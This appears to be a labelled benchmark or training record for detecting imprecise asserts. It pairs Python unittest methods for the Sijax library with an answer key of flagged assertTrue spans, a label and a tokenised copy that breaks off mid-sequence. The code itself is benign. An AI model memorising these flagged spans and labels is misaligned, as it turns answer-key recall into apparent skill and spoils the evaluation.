[ { "content": " def test_changing_incoming_data_works(self):\n inst = Sijax()\n self.assertTrue(inst.get_data() == {})\n\n data = {\"key\": \"value\"}\n inst.set_data(data)\n self.assertTrue(inst.get_data() == data)\n\n data = {\"key\": \"value\", \"another\": \"one\"}\n self.assertTrue(inst.get_data() == {\"key\": \"value\"})\n inst.set_data(data)\n self.assertTrue(inst.get_data() == data)", "metadata": "root.SijaxMainTestCase.test_changing_incoming_data_works", "header": "['class', 'SijaxMainTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 38 }, { "content": " def test_detecting_sijax_requests_works(self):\n inst = Sijax()\n cls = inst.__class__\n\n # no POST data specified.. this surely is a GET request\n self.assertFalse(inst.is_sijax_request)\n self.assertTrue(inst.requested_function is None)\n\n # missing params that specify the function and args\n inst.set_data({\"key\": \"value\"})\n self.assertFalse(inst.is_sijax_request)\n self.assertTrue(inst.requested_function is None)\n\n # missing args\n inst.set_data({cls.PARAM_REQUEST: \"function\"})\n self.assertFalse(inst.is_sijax_request)\n self.assertEqual(inst.requested_function, \"function\")\n\n # missing function name\n inst.set_data({cls.PARAM_ARGS: \"[]\"})\n self.assertFalse(inst.is_sijax_request)\n self.assertTrue(inst.requested_function is None)\n self.assertEqual([], inst.request_args)\n\n inst.set_data({cls.PARAM_ARGS: '[\"invalid_json\": here'})\n self.assertFalse(inst.is_sijax_request)\n self.assertTrue(inst.requested_function is None)\n self.assertEqual([], inst.request_args)\n\n # this should be considered valid.. both params available\n # the arguments are json encoded\n inst.set_data({cls.PARAM_REQUEST: \"function\", cls.PARAM_ARGS: '[\"arg1\", 5]'})\n self.assertTrue(inst.is_sijax_request)\n self.assertEqual(\"function\", inst.requested_function)\n self.assertEqual([\"arg1\", 5], inst.request_args)\n\n inst.set_data({cls.PARAM_REQUEST: \"func2\", cls.PARAM_ARGS: '[28, 5]'})\n self.assertTrue(inst.is_sijax_request)\n self.assertEqual(\"func2\", inst.requested_function)\n self.assertEqual([28, 5], inst.request_args)", "metadata": "root.SijaxMainTestCase.test_detecting_sijax_requests_works", "header": "['class', 'SijaxMainTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_changing_uris_results_in_a_differnt_js_output(self):\n inst = Sijax()\n\n req_uri = \"http://localhost:8080/submit_here\"\n json_uri = \"http://localhost:8080/json2.js\"\n\n inst.set_request_uri(req_uri)\n js = inst.get_js()\n self.assertTrue('Sijax.setRequestUri(\"%s\");' % req_uri in js)\n self.assertFalse('Sijax.setJsonUri' in js)\n\n inst.set_json_uri(json_uri)\n js = inst.get_js()\n self.assertTrue('Sijax.setRequestUri(\"%s\");' % req_uri in js)\n self.assertTrue('Sijax.setJsonUri(\"%s\");' % json_uri in js)", "metadata": "root.SijaxMainTestCase.test_changing_uris_results_in_a_differnt_js_output", "header": "['class', 'SijaxMainTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 184 }, { "content": " def test_process_request_calls_invalid_request_event_for_invalid_requests(self):\n from sijax.helper import json\n\n # An invalid request is a request for a function that's not registered,\n # meaning the request is invalid as far as sijax is concerned\n inst = Sijax()\n cls = inst.__class__\n inst.set_data({cls.PARAM_REQUEST: \"my_func\", cls.PARAM_ARGS: '[\"arg1\", 12]'})\n self.assertTrue(inst.is_sijax_request)\n self.assertEqual(\"my_func\", inst.requested_function)\n self.assertEqual([\"arg1\", 12], inst.request_args)\n\n response = inst.process_request()\n self.assertTrue(isinstance(response, string_types))\n\n try:\n commands = json.loads(response)\n except:\n self.fail(\"Invalid JSON generated!\")\n else:\n self.assertTrue(isinstance(commands, list))\n\n # we expect the default \"Invalid request\" alert\n self.assertEqual(1, len(commands))\n command_data = commands.pop(0)\n self.assertTrue(\"type\" in command_data)\n self.assertEqual(\"alert\", command_data[\"type\"])", "metadata": "root.SijaxMainTestCase.test_process_request_calls_invalid_request_event_for_invalid_requests", "header": "['class', 'SijaxMainTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 208 }, { "content": " def test_process_request_calls_invalid_call_event_for_invalid_calls(self):\n from types import FunctionType\n from sijax.helper import json\n\n # An invalid call is a call to a function that appears valid.\n # The function is registered (known), but calling fails, because\n # the function expects another number of arguments\n\n call_history = []\n\n def my_callback(obj_response, arg1, arg2):\n call_history.append(\"call ok\")\n\n def my_callback_with_defaults(obj_response, arg1=138, arg2=15):\n call_history.append(\"defaults ok\")\n\n def my_callback_raising_TypeError(obj_response):\n raise TypeError('this should be re-raised by Sijax')\n\n def my_callback_raising_TypeError2(obj_response):\n def inner():\n raise TypeError('this should be re-raised by Sijax')\n inner()\n\n def invalid_call(obj_response, failed_callback):\n self.assertTrue(isinstance(failed_callback, FunctionType))\n call_history.append(\"invalid %s\" % failed_callback.__name__)\n\n inst = Sijax()\n cls = inst.__class__\n inst.register_callback(\"my_func\", my_callback)\n\n # Make a valid call that would succeed\n inst.set_data({cls.PARAM_REQUEST: \"my_func\", cls.PARAM_ARGS: '[\"arg1\", 12]'})\n self.assertTrue(inst.is_sijax_request)\n self.assertEqual(\"my_func\", inst.requested_function)\n self.assertEqual([\"arg1\", 12], inst.request_args)\n response = inst.process_request()\n self.assertTrue(isinstance(response, string_types))\n\n\n # Make a call with a wrong number of arguments, and a default\n # event handler for invalid calls\n inst.set_data({cls.PARAM_REQUEST: \"my_func\", cls.PARAM_ARGS: '[\"arg1\"]'})\n self.assertTrue(inst.is_sijax_request)\n self.assertEqual(\"my_func\", inst.requested_function)\n self.assertEqual([\"arg1\"], inst.request_args)\n response = inst.process_request()\n self.assertTrue(isinstance(response, string_types))\n try:\n commands = json.loads(response)\n except:\n self.fail(\"Invalid JSON generated!\")\n else:\n self.assertTrue(isinstance(commands, list))\n # we expect the default \"Action performed in a wrong way\" alert\n self.assertEqual(1, len(commands))\n command_data = commands.pop(0)\n self.assertTrue(\"type\" in command_data)\n self.assertEqual(\"alert\", command_data[\"type\"])\n\n # Make an invalid call with a custom event handler function\n inst.register_event(cls.EVENT_INVALID_CALL, invalid_call)\n inst.set_data({cls.PARAM_REQUEST: \"my_func\", cls.PARAM_ARGS: '[]'})\n self.assertEqual(\"my_func\", inst.requested_function)\n self.assertEqual([], inst.request_args)\n response = inst.process_request()\n self.assertTrue(isinstance(response, string_types))\n\n # let's see if calling works with default arguments\n inst.register_callback(\"my_func\", my_callback_with_defaults)\n response = inst.process_request()\n self.assertTrue(isinstance(response, string_types))\n\n # let's ensure that raising a TypeError from within a handler,\n # is not mistaken for an invalid call (EVENT_INVALID_CALL),\n # and re-raises the exception\n inst.register_callback(\"my_func\", my_callback_raising_TypeError)\n try:\n inst.process_request()\n except TypeError:\n call_history.append('TypeError')\n\n inst.register_callback(\"my_func\", my_callback_raising_TypeError2)\n try:\n inst.process_request()\n except TypeError:\n call_history.append('TypeError2')\n\n expected = ['call ok', 'invalid my_callback', 'defaults ok',\n 'TypeError', 'TypeError2']\n self.assertEqual(expected, call_history)", "metadata": "root.SijaxMainTestCase.test_process_request_calls_invalid_call_event_for_invalid_calls", "header": "['class', 'SijaxMainTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 236 } ]
[ { "span": "self.assertTrue(inst.get_data() == {})", "start_line": 40, "start_column": 8, "end_line": 40, "end_column": 46 }, { "span": "self.assertTrue(inst.get_data() == data)", "start_line": 44, "start_column": 8, "end_line": 44, "end_column": 48 }, { "span": "self.assertTrue(inst.get_data() == {\"key\": \"value\"})", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 60 }, { "span": "self.assertTrue(inst.get_data() == data)", "start_line": 49, "start_column": 8, "end_line": 49, "end_column": 48 }, { "span": "self.assertTrue(inst.requested_function is None)", "start_line": 57, "start_column": 8, "end_line": 57, "end_column": 56 }, { "span": "self.assertTrue(inst.requested_function is None)", "start_line": 62, "start_column": 8, "end_line": 62, "end_column": 56 }, { "span": "self.assertTrue(inst.requested_function is None)", "start_line": 72, "start_column": 8, "end_line": 72, "end_column": 56 }, { "span": "self.assertTrue(inst.requested_function is None)", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 56 }, { "span": "self.assertTrue('Sijax.setRequestUri(\"%s\");' % req_uri in js)", "start_line": 192, "start_column": 8, "end_line": 192, "end_column": 69 }, { "span": "self.assertFalse('Sijax.setJsonUri' in js)", "start_line": 193, "start_column": 8, "end_line": 193, "end_column": 50 }, { "span": "self.assertTrue('Sijax.setRequestUri(\"%s\");' % req_uri in js)", "start_line": 197, "start_column": 8, "end_line": 197, "end_column": 69 }, { "span": "self.assertTrue('Sijax.setJsonUri(\"%s\");' % json_uri in js)", "start_line": 198, "start_column": 8, "end_line": 198, "end_column": 67 }, { "span": "self.assertTrue(\"type\" in command_data)", "start_line": 233, "start_column": 12, "end_line": 233, "end_column": 51 }, { "span": "self.assertTrue(\"type\" in command_data)", "start_line": 294, "start_column": 12, "end_line": 294, "end_column": 51 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Si", "jax", "Main", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "chang", "ing", "\\u", "inco", "ming", "\\u", "data\\u", "works_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst_", "=_", "Si", "jax_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "get", "\\u", "data_", "(_", ")_", "==_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\"", "key", "\"_", ":_", "\"", "value", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "get", "\\u", "data_", "(_", ")_", "==_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\"", "key", "\"_", ":_", "\"", "value", "\"_", ",_", "\"", "anot", "her", "\"_", ":_", "\"", "one", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "get", "\\u", "data_", "(_", ")_", "==_", "{_", "\"", "key", "\"_", ":_", "\"", "value", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "get", "\\u", "data_", "(_", ")_", "==_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Si", "jax", "Main", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "detect", "ing", "\\u", "si", "jax", "\\u", "request", "s", "\\u", "works_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst_", "=_", "Si", "jax_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "=_", "inst_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "no", " ", "POST", " ", "data", " ", "specified", "..", " ", "this", " ", "sure", "ly", " ", "is", " ", "a", " ", "GET", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "request", "ed", "\\u", "function_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "missi", "ng", " ", "params", " ", "tha", "t", " ", "speci", "fy", " ", "the", " ", "function", " ", "and", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "\"", "key", "\"_", ":_", "\"", "value", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "request", "ed", "\\u", "function_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "missi", "ng", " ", "args_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "function", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "inst_", "._", "request", "ed", "\\u", "function_", ",_", "\"", "function", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "missi", "ng", " ", "function", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "\"[", "]\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "request", "ed", "\\u", "function_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "\"", "invalid", "\\u", "json", "\":", " ", "here", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "request", "ed", "\\u", "function_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "shou", "ld", " ", "be", " ", "consider", "ed", " ", "valid", "..", " ", "bot", "h", " ", "params", " ", "available_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "argu", "ment", "s", " ", "are", " ", "json", " ", "encoded_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "function", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "\"", "arg", "1", "\",", " ", "5", "]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "function", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "\"", "arg", "1", "\"_", ",_", "5_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "func", "2", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "2", "8", ",", " ", "5", "]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "func", "2", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "28_", ",_", "5_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Si", "jax", "Main", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "chang", "ing", "\\u", "uris", "\\u", "results", "\\u", "in", "\\u", "a", "\\u", "differ", "nt", "\\u", "js", "\\u", "output_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst_", "=_", "Si", "jax_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "req", "\\u", "uri_", "=_", "\"", "http", "://", "local", "host", ":", "808", "0", "/", "submit", "\\u", "here", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "uri_", "=_", "\"", "http", "://", "local", "host", ":", "808", "0", "/", "json", "2", ".", "js", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "request", "\\u", "uri_", "(_", "req", "\\u", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "js_", "=_", "inst_", "._", "get", "\\u", "js_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Si", "jax", ".", "set", "Request", "Ur", "i", "(\"", "%", "s", "\");", "'_", "%_", "req", "\\u", "uri_", "in_", "js_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "Si", "jax", ".", "set", "Js", "on", "Ur", "i", "'_", "in_", "js_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "json", "\\u", "uri_", "(_", "json", "\\u", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "js_", "=_", "inst_", "._", "get", "\\u", "js_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Si", "jax", ".", "set", "Request", "Ur", "i", "(\"", "%", "s", "\");", "'_", "%_", "req", "\\u", "uri_", "in_", "js_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Si", "jax", ".", "set", "Js", "on", "Ur", "i", "(\"", "%", "s", "\");", "'_", "%_", "json", "\\u", "uri_", "in_", "js_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Si", "jax", "Main", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "process", "\\u", "request", "\\u", "calls", "\\u", "invalid", "\\u", "request", "\\u", "event", "\\u", "for", "\\u", "invalid", "\\u", "requests_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "si", "jax_", "._", "helper_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "An", " ", "invalid", " ", "request", " ", "is", " ", "a", " ", "request", " ", "for", " ", "a", " ", "function", " ", "tha", "t", "'", "s", " ", "not", " ", "register", "ed", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "meaning", " ", "the", " ", "request", " ", "is", " ", "invalid", " ", "as", " ", "far", " ", "as", " ", "si", "jax", " ", "is", " ", "concern", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "=_", "Si", "jax_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "=_", "inst_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "my", "\\u", "func", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "\"", "arg", "1", "\",", " ", "1", "2", "]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "\"", "arg", "1", "\"_", ",_", "12_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "response_", ",_", "string", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "commands_", "=_", "json_", "._", "loads_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Inva", "lid", " ", "JSO", "N", " ", "generat", "ed", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "commands_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "expect", " ", "the", " ", "default", " ", "\"", "Inva", "lid", " ", "request", "\"", " ", "alert_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "commands_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command", "\\u", "data_", "=_", "commands_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "type", "\"_", "in_", "command", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "alert", "\"_", ",_", "command", "\\u", "data_", "[_", "\"", "type", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Si", "jax", "Main", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "process", "\\u", "request", "\\u", "calls", "\\u", "invalid", "\\u", "call", "\\u", "event", "\\u", "for", "\\u", "invalid", "\\u", "calls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "types_", "import_", "Function", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "si", "jax_", "._", "helper_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "An", " ", "invalid", " ", "call", " ", "is", " ", "a", " ", "call", " ", "to", " ", "a", " ", "function", " ", "tha", "t", " ", "appear", "s", " ", "valid", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "function", " ", "is", " ", "register", "ed", " ", "(", "know", "n", "),", " ", "but", " ", "calling", " ", "fail", "s", ",", " ", "bec", "aus", "e_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "function", " ", "expect", "s", " ", "anot", "her", " ", "number", " ", "of", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "history_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "my", "\\u", "callback_", "(_", "obj", "\\u", "response_", ",_", "arg1_", ",_", "arg2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "history_", "._", "append_", "(_", "\"", "call", " ", "ok", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "my", "\\u", "callback", "\\u", "with", "\\u", "defaults_", "(_", "obj", "\\u", "response_", ",_", "arg1_", "=_", "138_", ",_", "arg2_", "=_", "15_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "history_", "._", "append_", "(_", "\"", "default", "s", " ", "ok", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "my", "\\u", "callback", "\\u", "rais", "ing", "\\u", "Type", "Error_", "(_", "obj", "\\u", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "this", " ", "shou", "ld", " ", "be", " ", "re", "-", "raise", "d", " ", "by", " ", "Si", "jax", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "my", "\\u", "callback", "\\u", "rais", "ing", "\\u", "Type", "Error", "2_", "(_", "obj", "\\u", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "inner_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "this", " ", "shou", "ld", " ", "be", " ", "re", "-", "raise", "d", " ", "by", " ", "Si", "jax", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inner_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "invalid", "\\u", "call_", "(_", "obj", "\\u", "response_", ",_", "fail", "ed", "\\u", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "fail", "ed", "\\u", "callback_", ",_", "Function", "Type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "history_", "._", "append_", "(_", "\"", "invalid", " ", "%", "s", "\"_", "%_", "fail", "ed", "\\u", "callback_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inst_", "=_", "Si", "jax_", "(_", ")_", 